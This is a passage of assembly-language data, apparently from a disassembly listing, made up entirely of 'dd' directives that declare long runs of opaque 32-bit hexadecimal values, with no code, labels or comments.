		dd 0D80D2CF6h, 8A61ED80h, 0FDC8D6CDh, 5E4B59A3h, 7A11778Ah
		dd 0AE8744A3h, 251DEA27h, 83CCB000h, 2E6A6EA8h,	0BA98384Bh
		dd 0C092AF16h, 91600683h, 0EC1B6D9h, 49902DC7h,	92D51832h
		dd 0A347BAEh, 0ED1D147h, 7E86871Dh, 788C294Fh, 89699709h
		dd 857A7A7Ah, 93CCBF05h, 0FA34C5AEh, 0B720AB3Bh, 0D0A8598Fh
		dd 0CE0F1714h, 0A2632411h, 6C33A301h, 27FDDC42h, 4EDBECD2h
		dd 99B0D762h, 0FF77B194h, 3B04E09Ah, 0FE0CA011h, 48FE8FF0h
		dd 8AD6D40h, 0A69FC9FEh, 74095A09h, 3DFD35EBh, 482AE4E3h
		dd 0CA6B1379h, 0D5F1077h, 0C05DBA7Bh, 0FB9DCC95h, 0C7C5BF4Ch
		dd 0EA3948E6h, 779FC471h, 8B22B003h, 0AF52F9B5h, 0ADD95C1Fh
		dd 7381361Bh, 65C5FA0h,	5FED981Eh, 0B61681F4h, 2A138958h
		dd 1F699FDCh, 6C346C44h, 1F954C33h, 0BBA588C1h,	878FD82Fh
		dd 0DD0387A6h, 483260D6h, 0AF25615h, 3EF69CE7h,	0B7C0C2B2h
		dd 3CA590CDh, 0EA5A0DEFh, 9190CCC0h, 11D84299h,	0EAB99F7Ch
		dd 0C017F108h, 0DEEBE7B6h, 9FD0C6D8h, 3B38F77h,	9E36AC08h
		dd 0D62D5D50h, 0DDE75243h, 0D516BC0Ch, 8653B475h, 6981A497h
		dd 96861E61h, 9CE278C5h, 1439BC38h, 174C16B4h, 915A204h
		dd 0F82889D8h, 920B5A5Bh, 8AC28508h, 0FBD078E4h, 885B557Ah
		dd 0D0C14A34h, 0E8F769DEh, 9FA3EF48h, 19FE4829h, 0B8588EB0h
		dd 0D4D5D9A8h, 9394D5h,	0B3580789h, 0A77EC8EAh,	43E86CEBh
		dd 753B1A1Ch, 4012B622h, 197A05E5h, 118494BCh, 8233F598h
		dd 8077AED7h, 5A6D60ECh, 959D4FEFh, 0CE1C4941h,	0C0CE165Ah
		dd 370810FCh, 1E0744B8h, 8C6246FBh, 93EEBC6Eh, 56B35685h
		dd 4807B754h, 0E70F81AFh, 349A0FF8h, 44EC189h, 0F9870EBBh
		dd 438946A6h, 0F98AC81Ch, 0E1822F22h, 9AF5A6C9h, 254ABCEBh
		dd 34BF6A4Fh, 249D004Bh, 43056534h, 971595CEh, 91F0C7E2h
		dd 7D41B6FFh, 17BF6451h, 0D492A444h, 0C493E888h, 18357A4h
		dd 7462072Bh, 0F0FE540h, 0D3690C48h, 0C634BCCCh, 0CBAA9F94h
		dd 0F6DB033Fh, 0C074CDEFh, 16582C1Dh, 0D5F84D96h, 1CDF7959h
		dd 30ABCE55h, 6D0F9389h, 0F4990EEFh, 0C3D54EC4h, 0A1159580h
		dd 0C7A49E40h, 0E8A45260h, 2863771h, 79D176C7h,	2CB48FB1h
		dd 1C11C041h, 86DA2944h, 0D7C8F11h, 0B28B89DAh,	2C7F2AC4h
		dd 0E4CB9B63h, 90D50161h, 314A45F3h, 22DFACD2h,	0F38A0126h
		dd 0F6DE9916h, 54020FD7h, 5C6165D8h, 0E26EC12Ch, 53BD6C26h
		dd 49FA0534h, 0B9BB80D2h, 3E77CEAEh, 584C8C51h,	391CD90Fh
		dd 1D975DCCh, 1209BA55h, 40A664CDh, 8A251BDEh, 14AA174Ch
		dd 351E0AB5h, 0A3B03A71h, 2AB3C14Eh, 0EE94632Ch, 4A7EA4D7h
		dd 0A48A4F7Ch, 558FCC83h, 0D40C15A8h, 0E5DAAA5Ch, 0D9380435h
		dd 0D84B5BE6h, 61ED116Fh, 4C54CBDFh, 0C775A5FAh, 248C0D68h
		dd 32708908h, 0E58B287h, 4C142BDCh, 2EB1FABh, 7604F380h
		dd 0F6208B2Eh, 799964E7h, 0AA2A8B83h, 10E5AA15h, 9EDDDEF4h
		dd 0CFA2CE9Eh, 4D1581C9h, 0F77A509Bh, 0F1730BB4h, 9949533Dh
		dd 0BF8D424Fh, 893B82EDh, 4AAD34B2h, 555D9B57h,	82B2115Ah
		dd 0B315375Ah, 8B0CD191h, 2A4EE66Dh, 51D2EB3Ch,	0DA39AAABh
		dd 0D06EDCF4h, 0A5302FEEh, 987B52BBh, 52713434h, 0CFE4F653h
		dd 8C6F7663h, 0D90BE9B6h
		dd 93D784B8h, 2736C912h, 0DE1BEB92h, 984CE339h,	1D6904EAh
		dd 334E8BF7h, 971B435Fh, 1F4DD7D5h, 66DE43C0h, 439B4AECh
		dd 4383405Fh, 6189D033h, 0D6BAF54Bh, 174E4C4Eh,	2777A09Fh
		dd 1BFE7E4h, 5F1A23D9h,	1808FA6Ch, 0AAC66984h, 6EFC7286h
		dd 0CE0EF6C0h, 0E7066230h, 0E6713AF1h, 0E0201117h, 5E11E218h
		dd 0C8874670h, 94249B00h, 0C843FBC4h, 0AF58AB2Dh, 920EA72Bh
		dd 0F584EE8h, 0E54D83B5h, 5B4F5834h, 0F127BA27h, 8FBDAE1Dh
		dd 0A50F4BAFh, 24E29C9Ch, 0DC4BB9D0h, 594820D8h, 144C6E97h
		dd 5E399BD5h, 3C6203E6h, 0DD4D8400h, 7300FF19h,	0E5852AFFh
		dd 1A9C1D7h, 8D4FE2DEh,	0B6A8FDE1h, 49F33669h, 0C04E58A3h
		dd 4B26AD1Ah, 1D48B7FAh, 74EF363Ch, 5B7FB4C8h, 0CC1D86AAh
		dd 8440BFCDh, 0E5473847h, 0EBBB0712h, 0B4303901h, 70C42548h
		dd 2D9D8955h, 65B63FE8h, 11B5B425h, 0D1EB29CFh,	1F94022Bh
		dd 0E048044h, 0D335C91h, 89C917FBh, 0AADCCB98h,	0EDF3E26Dh
		dd 0F42585E7h, 0B1EC823Bh, 0DD149C76h, 3EA8B8ADh, 3A35CA42h
		dd 0FF68A5CEh, 0DB8834A9h, 90E9A007h, 265BD22h,	0BE94610Fh
		dd 0FED32509h, 0AC7D16CAh, 4351F26h, 0C912287Bh, 0DC994506h
		dd 1CD0C97h, 0C3864FBFh, 4060EDFAh, 1DE96E15h, 0BD833C4Dh
		dd 2BD14BBBh, 78B03937h, 670E13D0h, 1803E30Eh, 5CAE7DB8h
		dd 70D41E4h, 0FD4652D0h, 0EF13A08h, 19753444h, 0A89B09D0h
		dd 0B4A5353Dh, 0EA567944h, 80C16A74h, 87B81276h, 0BA35E126h
		dd 0E51F37E2h, 0F608B562h, 0A7864156h, 0EB1C17CBh, 11A5A79Bh
		dd 6DD4234h, 1EB2FA65h,	0CE5590F0h, 0D28DA047h,	2F2E3C84h
		dd 90F660CBh, 366489A5h, 0F31D2F8Ah, 7D834F30h,	7A1036E7h
		dd 969F1E32h, 0C898FCCDh, 0CA0421A8h, 0AA5BE6E0h, 0C23A2FC4h
		dd 4F53D136h, 75605D65h, 0C16D7B43h, 0A592F0B0h, 0ACD891E5h
		dd 57CF5ABDh, 1E916C7Eh, 0E92DF30h, 0DD10EE01h,	4CA1FAA8h
		dd 0F0AAB72Ah, 4AF95F25h, 92F48046h, 0EC0C078Ah, 58D099D8h
		dd 0B52E5696h, 0C2D71B9Bh, 0BDCDF298h, 0D6DF7E9Ah, 0E9DF8382h
		dd 0D472833Ch, 2BA8F144h, 0F90584E3h, 271DE67h,	9D3E6287h
		dd 0AD14A96Ah, 0A02E6ECAh, 57E2447Eh, 0A41C4E79h, 0B95FBB86h
		dd 6B2C5ABBh, 0EB33468Bh, 887C2623h, 35124B39h,	183DC8F0h
		dd 3AD00F43h, 64E74FD6h, 0AF2F5537h, 2A458432h,	430E3386h
		dd 2C5CBE9Ch, 0B661CE4Dh, 0DE8D13D0h, 7D0E3FD5h, 90F4EA9Bh
		dd 0A19A5D05h, 0F7CDF8F3h, 7466E92Dh, 302E3ABCh, 4B60B815h
		dd 0F0CD5402h, 636FEE76h, 0E8754AF1h, 7F50593Ch, 0F6DB146Ch
		dd 965B0E3Bh, 0EED2E45h, 0D4423D33h, 471F7673h,	0BEEF07E1h
		dd 12D446A8h, 0ABA9D814h, 19A866C3h, 2383118h, 0A3B1B05Eh
		dd 4FDABA9Ch, 7E568A45h, 0E14D94Ah, 0DFD530FEh,	0C13FFB1Bh
		dd 327B71B4h, 0FD0D2276h, 311E3839h, 0E98E9F4Ch, 0B91D6559h
		dd 0D3FB68B6h, 5F365B7Eh, 4D437CCEh, 1A5598D2h,	0FF6C7D99h
		dd 4DBB04DFh, 92CE524h,	94A8964Ah, 53509052h, 937A9422h
		dd 476289B9h, 0B4CC4551h, 0B97BBBE2h, 90CA4B50h, 981305CEh
		dd 95605882h, 295C5573h, 0CE79B1A3h, 93E554D2h,	0DF03F78Dh
		dd 9CF17CABh, 0A827AB8Bh, 97F5CC21h, 0EEB5606h,	7E2C598Fh
		dd 381EE73h, 2C21F6E0h,	8C84423Bh, 0AC3F049Bh, 0BA825C0Ah
		dd 2A9C8436h, 0F8F200Fh, 0BE18CCCCh, 3AF62C8Bh,	0B7B183B1h
		dd 0E9765450h, 34428B54h, 0FF4A6736h, 0C99066B8h, 0F18AAB2Fh
		dd 9A2B5C3Bh, 0B82D7561h, 0DCC362FDh, 4D38689Ch, 6694C6CFh
		dd 0FE06F1C2h, 0E0989B94h, 6D105872h, 0FCB055FFh, 0BC108370h
		dd 0A0C0FD4Fh, 0A27B805h, 8237FE9Ah, 0E90DD98Ah, 19DBCF38h
		dd 3C31C311h, 7EC0A8D9h, 0BFFDA3C0h, 68BABF7Bh,	567278Fh
		dd 3D91826Dh, 3D30D074h, 236F010Eh, 1D4E8796h, 0D627232Ch
		dd 0C7B5EB64h, 84AF6E45h, 0CF41D43Dh, 68C6FA4Eh, 40B3417Bh
		dd 0F082F59Eh, 53216FC4h, 34F684C4h, 9197CD1Dh,	91F3E55Dh
		dd 0BC18864Dh, 6FA33E25h, 0C30CED55h, 38718FC5h, 684C2A0Fh
		dd 9B15BECh, 920552E5h,	4A222018h, 0B5952451h, 66450147h
		dd 942C5EF6h, 13F6E806h, 66A82D95h, 2F4B6BD4h, 393F0D9Fh
		dd 2879924Ch, 6A22C314h, 1BC920C5h, 3DE4F07h, 174A205Bh
		dd 6DCC91A9h, 0F7C1F86h, 96A44877h, 49D70DF8h, 8EA6801Bh
		dd 0C811C4C0h, 0D72DB970h, 0E255B87Bh, 0BDB90592h, 8E4A781Ah
		dd 3A77FC6h, 0E4182E0Bh, 0ADBE4774h, 970E5D20h,	0A3A259AAh
		dd 0ADD36ECh, 4D94CE42h, 4E4FB489h, 0C723EB08h,	6FAA58DAh
		dd 883A65B5h, 9F374576h, 0DBBB164h, 3FEC2EE7h, 7A4A0DF0h
		dd 0A7DE77E8h, 821120C1h, 89816EC5h, 3F5F8757h,	538803F2h
		dd 259C92A8h, 0F9C4AF3Dh, 0FD4DECF0h, 2606B90Bh, 0F018E5F3h
		dd 363D11B5h, 6CF72FC8h, 1E55F308h, 0CA7C86CCh,	55DE8ADEh
		dd 0D70A1060h, 0DF32F8B4h, 7F8B1870h, 0CC9CE98h, 9DE161C7h
		dd 752FD44Ah, 0D9F3D8Fh, 0CC92742Eh, 0B429422Ah, 0DD81C7DDh
		dd 5D9FA6D6h, 0AB9E1FCFh, 0DCFAE375h, 0BF6C1F9Bh, 0F0788824h
		dd 50E710DAh, 0C02FC1FDh, 6BC05D55h, 7DC6C22Fh,	7C7FCE28h
		dd 0DB3FE7DDh, 0B495DDE6h, 0F90EAA2Dh, 7ED54FACh, 0CBB0F5C1h
		dd 68280339h, 0C934B305h, 2643C290h, 28A18A3Eh,	0C35754ACh
		dd 81CAFB36h, 0B01B6442h, 0EC9D56B0h, 9C9D92Bh,	3D6268B0h
		dd 33A45506h, 4D0D0E7Ch, 9271AE0h, 0EEEDD31Dh, 69F23BF6h
		dd 0BADB959h, 19F71E0h,	9534Dh,	92AE1134h, 0E922D505h
		dd 2F943745h, 42083A61h, 62AE340Ah, 56D1FF21h, 0E83FFF38h
		dd 0C55063DCh, 746BFD8Dh, 0DA67A19Dh, 616FD62Ch, 22EDDC61h
		dd 68C7E379h, 5021F68Dh, 24BC64A6h, 52657182h, 6B9A1F8Bh
		dd 6BC4407Ah, 8A6ADBE4h, 0A1B5538Ch, 0DA94A616h, 3F683668h
		dd 0BDA36CEh, 0B8031A47h, 5506724Ch, 0BC1047BDh, 6EDF8EE5h
		dd 9980CD09h, 50E70E10h, 3A91EE01h, 0B05FE059h,	0EFF9404Bh
		dd 0A41EA2A8h, 22F437D0h, 0D9639EDAh, 89B7BD05h, 17FF336Ch
		dd 944D6E49h, 939FE65Fh, 92AB9F0Bh, 0DD4155D5h,	562E2173h
		dd 58D240EDh, 5AB99F32h, 0AF8824EEh, 6E6F7676h,	7391B27Eh
		dd 0AB616958h, 52982845h, 0DEB73AD8h, 5D7384DEh, 41927C74h
		dd 76890607h, 410697C0h, 47B32328h, 207891FBh, 9C383B81h
		dd 417B7A9Ch, 0DB6B8A6Bh, 6A6D68D6h, 0EC49B11Eh, 391F219Dh
		dd 0B86F2E86h, 6ED7B99Eh, 7803A7B5h, 84CCB572h,	0B5107233h
		dd 81E4593Ch, 0D4A3FDD2h, 722E046Ah, 5CD85262h,	932384A3h
		dd 448B71C7h, 0A622F357h, 95C4E96Fh, 487A165Ch,	0F934990Ch
		dd 0C657B702h, 69F99AE3h, 0BD6A682h, 4EFD81BEh,	244FD9EEh
		dd 9CC4CE10h, 20B23019h, 58865DFCh, 161B40F0h, 7EDE4366h
		dd 309843A3h, 87325DADh, 3F9FE29h, 0D6ABB1F0h, 2419110Bh
		dd 99E6456Ch, 7E044B9h,	0E74DEB1Bh, 0F9DB555Bh,	4FAC85ABh
		dd 31B25F12h, 6CD7B42Bh, 227C0D0Ah, 0A324532Ch,	60E57927h
		dd 40179CB7h, 45550E11h, 0F6CB875Bh, 33232A1Bh,	0AC562CA2h
		dd 14B7F5D2h, 0AC57A512h, 1DDE195Bh, 0AEF94532h, 5C59D1DDh
		dd 3B5BA560h, 979488B1h, 7D651F84h, 85055183h, 0F1E94846h
		dd 0BA9FA401h, 5A329D1Ch, 7897F8h, 0EE3E5C8Bh, 8181DF3h
		dd 46E8EB0Ch, 0EEE1202Eh, 0B59AE700h, 0F72B1A82h, 3D99781Ah
		dd 0F5C8EC90h, 1D0FC498h, 9A66B0C4h, 277AF07h, 0AFFFE85Dh
		dd 0FDA2E9A9h, 0BE6602BDh
		dd 0E093928Ah, 0FDA32394h, 2E6C908h, 0E7F5DF29h, 0A7EA9C54h
		dd 0B1D61B36h, 1CD3A17Dh, 1AE88979h, 0EB3A9EC1h, 33D99209h
		dd 0E0969002h, 0C44C2450h, 93AE3874h, 5CA6175Ah, 0DA0634B8h
		dd 2CDE5071h, 0A915A19Eh, 73D7642h, 7B38150Bh, 4721688Eh
		dd 628A7609h, 0F39D18Eh, 9D8BC57Ah, 40A52B22h, 0B8AFCEBEh
		dd 19024550h, 9C0FC106h, 9263AB7Eh, 7408DE8Eh, 9DA216F3h
		dd 776BB0ECh, 47407020h, 0CDB0F4F5h, 5990E0ECh,	0F2ABA8ABh
		dd 8ADF9EFEh, 0EE6A359Dh, 95074D1Ah, 2B599A10h,	5D997D33h
		dd 3F5F872h, 1D0EF352h,	0C2C05C9h, 8233B0CBh, 0CC9D7721h
		dd 6DB8DA8Dh, 4DD1F1FEh, 0EDEBCCD7h, 40EEB8B1h,	647E3AB3h
		dd 1952F7D8h, 0A1D8CAA3h, 0C0A756F6h, 7142953Ch, 0DBC8DB2Eh
		dd 46131D58h, 0A1CFEBCEh, 0E408D3C7h, 98EF5BEEh, 0B5FF789Bh
		dd 115F03D6h, 7CD3D20Ch, 0EE5C106Dh, 0DF1BFA83h, 0EFD10547h
		dd 874385E7h, 4B8BDC47h, 8AFEADC4h, 44DCBE74h, 2743C52Ah
		dd 0F60BF45h, 0D3E3943Eh, 0C52737h, 69235727h, 206067B8h
		dd 44E29BACh, 4663F599h, 3C0BD406h, 4998EE80h, 0C7759A78h
		dd 50D20802h, 7F7DD9C9h, 2C378109h, 0E73EDE22h,	0CEA935A7h
		dd 0DBB9B0F6h, 0D0C7480Ah, 0CFF0BEE8h, 0C006312Dh, 7B0FB508h
		dd 8DAAAC16h, 93530C67h, 0E842A0CEh, 0DDA4A3AAh, 751F176Dh
		dd 5065F1D0h, 94AE204Dh, 0B4025689h, 0B47D8560h, 481D4A6Fh
		dd 0DC2485F4h, 877BE156h, 0B8B84616h, 6CCE36F4h, 0CCA8FB4Ah
		dd 2436F73Bh, 399FDC24h, 676D0ECh, 95E3E45Eh, 1EB08CBAh
		dd 31A6EF4Ah, 0B7CBD76Fh, 910CC045h, 0A01E6B1h,	151EC035h
		dd 26206E07h, 3CDDDB01h, 7D329200h, 0BF1460A7h,	15450C46h
		dd 841E5B98h, 0C5A37009h, 3BA49793h, 0F54EFE8Bh, 0CD1EAE3h
		dd 2FAB8971h, 0F4FCB902h, 9423715Ah, 94DE826Eh,	0C29386E7h
		dd 35F712B6h, 0C8F37C79h, 9C670CCCh, 52DA5CAFh,	65D8B0D3h
		dd 0AC8386A0h, 0A48D6E4Eh, 76A222B2h, 0A06FF700h, 2322D3D9h
		dd 32516567h, 2728045Ah, 24F10A58h, 0CAF40E99h,	0DA98191Ch
		dd 0B46EC375h, 25776E21h, 0A5F16203h, 0C8A21259h, 3A8F8A6Dh
		dd 0BA7547D2h, 0E659AF59h, 0C22664A1h, 0C77C627h, 69000ADBh
		dd 0C6E5BD56h, 40850613h, 0B360F69Fh, 4DF02A3Dh, 0F44BABDAh
		dd 0C4F35D16h, 0B6D7A0FCh, 0B1BA14C3h, 0ACB0ADDFh, 7EBBC0A6h
		dd 14DDFAB2h, 0D686F38Ch, 59F49E2Dh, 75E8663Fh,	394A9D1Ch
		dd 0AEE57537h, 94A25FDFh, 0A943A8Dh, 0FDAA89F5h, 0D701DEF5h
		dd 3D80069Bh, 11DCEA64h, 7C657172h, 0AC9F7783h,	0A08C2FBDh
		dd 0B5BA7458h, 6C046EF3h, 0A1075E3Ch, 6A19F891h, 4CA4D075h
		dd 0A351E257h, 9AA163E0h, 0D9898147h, 0F5E414D8h, 0CC025C4Fh
		dd 0BE892F0Bh, 0B12C2F78h, 137BBC2Bh, 8D74EE87h, 6868ADBFh
		dd 36927214h, 1EFE23F3h, 0EAFB9266h, 72BF8316h,	0AB8A37Ah
		dd 0C6C03B08h, 25BA6D9Ah, 4AF3B116h, 267B5ACEh,	0B233D7Ah
		dd 72F5DAB6h, 0DDA4268Ah, 0F36A2F82h, 44354F43h, 5A488298h
		dd 2F6C22DBh, 6083C046h, 1E24AEFh, 0AFA00956h, 2B9F2B30h
		dd 0F85D33B6h, 84FBFEF0h, 47A1034Ah, 22760C89h,	0CEC1F624h
		dd 1BFED10h, 0A71E58EAh, 79B9679Eh, 0D81EA427h,	200B6CAFh
		dd 0AA10BEB1h, 8C0F6880h, 0D3E971AFh, 6F3D88B0h, 8BD94A3Ah
		dd 7C984D24h, 0DD724857h, 15AEDBBh, 648BE00Eh, 5488D084h
		dd 67ADEB5Ah, 9AD42D88h, 0C4701CC5h, 0D4F691ABh, 0CC8B6876h
		dd 252D5FCFh, 0B540AFF7h, 0CBAB90A6h, 339AD0B9h, 2F317C13h
		dd 179A3092h, 738B523Bh, 0A16421FCh, 7126ECB9h,	6089E05Ch
		dd 0D4462EF0h, 0BC6DC19Eh, 1498F9A7h, 30463FBCh, 13828F56h
		dd 28B0C0Bh, 0AD2ED26Eh, 1BE7B73Dh, 0F7DE26D4h,	41E122C0h
		dd 98FD7844h, 0EBC96D67h, 0F91FA975h, 0D156DD3Eh, 31CE1D2Fh
		dd 507F8A4Ah, 0D75A8959h, 0FA495475h, 0E7FA2372h, 1E647142h
		dd 20AFAC1Dh, 0E290E4CFh, 0BD5A476Fh, 461B55A4h, 9144A75Fh
		dd 29053238h, 0D167C71Ch, 0D522D2C3h, 5DF4735Dh, 70EB30E1h
		dd 3532E150h, 38F4A1C1h, 0A30F28C4h, 4EDDFD02h,	0B47D591Ch
		dd 0EE6E17D3h, 2524746Dh, 6AFAD7AAh, 11374306h,	941754ACh
		dd 280B441Ch, 53D948CEh, 0B79F99E6h, 2BBDC08Fh,	3A37A7ABh
		dd 194733EFh, 0FF61FDE9h, 0BE74DD02h, 0B8D72878h, 3AF14985h
		dd 4E1384E2h, 4B92B5F3h, 0BE90E48Ah, 1848935Dh,	7354B7Bh
		dd 566377EFh, 5064B4Dh,	0C1885CB1h, 0FFDC3641h,	0E5A6EE30h
		dd 5987DEEEh, 60647B45h, 2B5F8E15h, 10D90E2Ah, 698C6107h
		dd 8A52AEE9h, 687FF612h, 4771A72h, 9C7B7825h, 0F6C87BD5h
		dd 0BDF35655h, 4FD35A9Fh, 13CFD0AEh, 0C6C619B4h, 74EF5AEFh
		dd 0B980D50Fh, 0A1DFFEACh, 3214B9E7h, 0A11344E1h, 9DFBB839h
		dd 0CEAEE1F2h, 91E12670h, 0D19FD964h, 19A2BF83h, 43751CEDh
		dd 0C5F346EEh, 0C2F8E340h, 0F48343ECh, 0BD433C8Eh, 0CFC960B2h
		dd 7B7F9CF6h, 47A9EBF3h, 903D26E7h, 43048069h, 892B9FE9h
		dd 0D3A51B23h, 398CAF0Bh, 3F9727EBh, 0C3D602C7h, 0A223D94Fh
		dd 7BF69D22h, 22E891FCh, 17D85053h, 6E6510F9h, 0CA7EEF88h
		dd 3E419A10h, 0F373175Fh, 0C5CC1293h, 0D582A39Eh, 7DA8B705h
		dd 0A2283A73h, 0CDE31676h, 0B60DA441h, 4FF7D9E7h, 2DD75D11h
		dd 0FF938A93h, 0E2CA3683h, 73650BFh, 9B735EBDh,	0CDDEE504h
		dd 0FCA17B9Ch, 74372491h, 7F8B47EBh, 0D0FDF8E5h, 0D4F2099h
		dd 322874B5h, 4D261D3Ch, 7051D0B0h, 77D5FADFh, 76CF0D7Ch
		dd 0C448F65Bh, 0A23FA428h, 0FC51E0DEh, 8E190072h, 3404488Fh
		dd 3268C751h, 0E836306Bh, 798C36CCh, 35429242h,	0F771142h
		dd 2656245Bh, 62066C7Ch, 7442DC44h, 1F366759h, 672EDC4Fh
		dd 99E6B54Ah, 0F048B814h, 7F3D97E9h, 0B05D83F5h, 0A4D7F4h
		dd 3CD5834Fh, 0D039EEF6h, 688F2EBAh, 4A1F3A3Ah,	0D1622555h
		dd 0F07D4997h, 3BB333F6h, 494E0522h, 0C05F49C2h, 4FCD8539h
		dd 0B019C4EFh, 0DD41E478h, 0DE9893D0h, 0E35C912Ch, 903E6666h
		dd 0D84C3E94h, 0BF014289h, 0BD37F578h, 7C63D4BCh, 0AD552BA6h
		dd 322603BBh, 238BCB26h, 39264FE3h, 1622B28h, 7718D667h
		dd 0EA78AFC2h, 0A7F71052h, 0E7DDE631h, 3B6FAD7Bh, 0EB35E910h
		dd 0B737CC5Bh, 0EDF4AA61h, 0A0C3FE96h, 83E72015h, 0FC4705DAh
		dd 5E2141EFh, 0E8000940h, 0E2A10C70h, 1CC7D791h, 0CF98001Fh
		dd 0CCBD9E0Fh, 0B415A48Bh, 26A23EAFh, 0F019CA2Dh, 46AD4406h
		dd 0F2CFDDE7h, 4B488A02h, 742F7570h, 79EF732Bh,	894562ACh
		dd 33642E54h, 321BDBBBh, 9426C7A5h, 4D6555F2h, 0CC0D313Fh
		dd 4790958Fh, 0DDB87749h, 7730DEh, 9B2F1CC3h, 0A917CEF0h
		dd 0E87B674h, 359BAE9Bh, 4A679026h, 531DC89Dh, 0C2E57B49h
		dd 24C045CFh, 0CDD20212h, 4EC370BBh, 96E8A427h,	7A128757h
		dd 0FEDBAF03h, 4E85FDC7h, 9BF6A21h, 62A50767h, 0F14EDC4Eh
		dd 53E1AFE7h, 765DEE2Ch, 0D579F10Fh, 0F092C9E8h, 72E37C78h
		dd 0FF7B7782h, 15B3A608h, 0A223A4E1h, 2A73C774h, 0C90883Fh
		dd 0BE11885Ah, 0BDB4FCB0h, 39D1FA48h, 548092FBh, 18019F7Ch
		dd 0CA893ED8h, 4BB59DE6h, 0F87BDD23h, 2C634045h, 71CDBCDFh
		dd 15A59A64h, 6F7E57CDh, 3ED47E0h, 5F3DAFCDh, 5BCB28C7h
		dd 0E5971A40h, 0A712262Eh, 4E5EE991h, 0BB2EABADh, 0D3548503h
		dd 4CDC976Ch, 0A19E6493h, 661F137Dh, 7F7DE35Ah,	99800D08h
		dd 0AD36C802h, 0BB26F144h
		dd 4814D3F9h, 24F5EE07h, 335D162Ah, 5B95B674h, 0D9DC1F69h
		dd 42F8B08h, 197B7BE9h,	0AACDABEBh, 8124FAC4h, 0CD596EFEh
		dd 1394E9E5h, 0A5E32356h, 0F67CD649h, 21DDD281h, 211B94A7h
		dd 0EF0281B6h, 0B223FECh, 0D0EC38DAh, 0CEFCB5FFh, 0A781AE2Dh
		dd 447D65C8h, 0C17AF39h, 334466F1h, 4C6C83D5h, 71DCA050h
		dd 10C95341h, 111DF74h,	0F46A74B7h, 0B249C0A1h,	0C074A3D5h
		dd 19C8B424h, 0A24B35BCh, 65F6ED0Ch, 84D15349h,	0C7C11484h
		dd 79DFAB95h, 5EE0F496h, 2E447EA0h, 0EB3B0834h,	0A4B2CE8Ch
		dd 0D17718DAh, 22F2363Fh, 0DE246F38h, 0E7F42F5Eh, 0ADD98268h
		dd 13EBFCEEh, 174DB451h, 1ED4F877h, 0ECFCEBDh, 0DF967737h
		dd 36760A23h, 14FDA4A2h, 475905FBh, 485C26A1h, 67FC26ECh
		dd 0A469BF8Fh, 0B7F4230Bh, 5991DEF5h, 0C0FFAB65h, 0F9D8F0BCh
		dd 0F2511F6Ah, 0A450551Dh, 924462DFh, 66727117h, 655E76E6h
		dd 835D7F8Dh, 0F3F3CD70h, 0C71B5B69h, 0E0618325h, 4300600Dh
		dd 1BA0769h, 5A9CF07Eh,	0D92FCE5Ah, 6D5ADF35h, 0F82DE088h
		dd 1A6EE8F8h, 47AB747Ch, 0D649D1FCh, 551097E3h,	9215365Ah
		dd 7B7A21E3h, 0B8889A02h, 888841BFh, 5B7530EFh,	0E0467B04h
		dd 0C99C0C15h, 0F9635DEDh, 21B3EE57h, 0DC5D0013h, 0E3CF70C1h
		dd 0CC489F08h, 2F90F9BEh, 52DEBB59h, 3E8B4BE8h,	0EBF8C808h
		dd 0C65B19FCh, 0A49C007Dh, 43146816h, 0F57DF365h, 0F0ED07E4h
		dd 0C510DC59h, 73B15A36h, 0A513BB11h, 0A9DB3025h, 6FC18C55h
		dd 0D0679EA1h, 438E4014h, 12E0F0F4h, 4B3D8033h,	74AD717Dh
		dd 0A7D5D14Ah, 636E4913h, 0DBF9E55Ch, 2C469B29h, 0F99434BFh
		dd 0AE2C44BCh, 521F5E23h, 1A4894EAh, 0BA2C25D3h, 6DFD4820h
		dd 0A3EB4D32h, 1B860528h, 823AB35Fh, 0B5495A1h,	0FE7C026Ah
		dd 2204059h, 2AD0652Ch,	74C3C49Ah, 2DDB153Ah, 5E4E37D8h
		dd 0CEC6D8C2h, 0FC5B874Fh, 91BC6CDDh, 0E4EE981h, 0B70D9EE4h
		dd 0EDBE56B0h, 6FF980F2h, 0F0DA9655h, 6BBA1ABFh, 0BCEE4F43h
		dd 202AB9B2h, 28BC7CD2h, 6E1BEE63h, 9E965938h, 0F66095ABh
		dd 0AEC239A2h, 0AE0AD64Ah, 0D91B78E4h, 56A2E466h, 6515D706h
		dd 88BB0417h, 15E5C208h, 53C4C0F2h, 4F8BBE27h, 0ABCA9D30h
		dd 0C5FA33DDh, 535A7DD3h, 8B8883A4h, 0C2519CE2h, 5042A82Fh
		dd 0D8F262DFh, 2DE8B0DFh, 541D4509h, 0CB474762h, 5BCC6011h
		dd 1A42C2BDh, 0E5BD6D63h, 0D0FF8417h, 1EA5796Ah, 738E60A7h
		dd 40EC977Ah, 0C76970C8h, 6E102BAEh, 0C56DF187h, 0BE6E4BDEh
		dd 0F2FB2855h, 10025DA2h, 0A8A5C198h, 0A7B2BC67h, 0D143BE0Fh
		dd 6F4A0561h, 0A9B42E0Dh, 182978DFh, 0E642CE38h, 7964F31Bh
		dd 0CC57E3FCh, 0E6552524h, 0F1583340h, 591F4094h, 32DBE945h
		dd 7056D45h, 0C7833DA4h, 9A916037h, 0E2BC0EECh,	0FC4E66E4h
		dd 0E4FD2901h, 5EB6B2CFh, 7BAF33B9h, 38B5C601h,	56553FB6h
		dd 7EF3180Ah, 0AEC01C8Eh, 9EBE3E8Ah, 460B0BB7h,	0CD9B3154h
		dd 0FD21C3F8h, 1642CD02h, 0A8380E2Eh, 929193E6h, 19E6D754h
		dd 0D73AD2E5h, 0FA2742E1h, 5703C01Ch, 5AC8B3BAh, 0FFF1731Dh
		dd 0B246D152h, 0FA67CD12h, 0EFFEBEC8h, 8654547Fh, 7EF3B45Fh
		dd 1617A8F8h, 7A42E5A1h, 0E87A18D0h, 0B98BD6E3h, 92193B45h
		dd 820016CBh, 0F47F14F5h, 0AF01B47Ah, 0B0B62D3Ah, 62C5641Fh
		dd 4AAEC433h, 3C72935Dh, 0C14436FAh, 899A2380h,	99AA9E74h
		dd 0AB089898h, 0D4572880h, 0A2BB2A79h, 0CFB9D837h, 0ECCBBECAh
		dd 6F32AAE5h, 1C049058h, 492D631Fh, 9ADC216h, 0CFFCBE1Fh
		dd 0B5AA81A3h, 4A929C26h, 0DD55A815h, 0B3BB983h, 0A5462340h
		dd 10EEB0DBh, 2E7BEB57h, 1D3CDF13h, 40129F38h, 0E58EF278h
		dd 0FE149E32h, 0E2D58217h, 414AB2D8h, 0C8D0508Eh, 821ED472h
		dd 1250A904h, 39A15CF8h, 0BE1271C9h, 0D5FFAA00h, 3E9855ACh
